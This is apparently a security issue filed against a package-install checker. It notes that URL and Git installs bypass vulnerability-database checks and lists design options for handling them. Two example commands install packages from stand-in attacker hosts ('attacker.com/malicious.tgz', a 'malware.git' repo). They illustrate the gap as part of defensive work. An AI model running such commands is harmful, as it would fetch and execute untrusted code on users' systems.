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Security: URL/Git installs cannot be verified #10

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URL and Git-based installs pass checks (OSV only has registry data):

npm install https://attacker.com/malicious.tgz
pip install git+https://github.com/attacker/malware.git

Design Decision Needed

Options:

  1. Block URL/git installs by default
  2. Warn and ask user
  3. Allow with warning

Difficulty: Design

Fundamental limitation of vulnerability databases.

Priority: High


Found in security audit 2024-01-06

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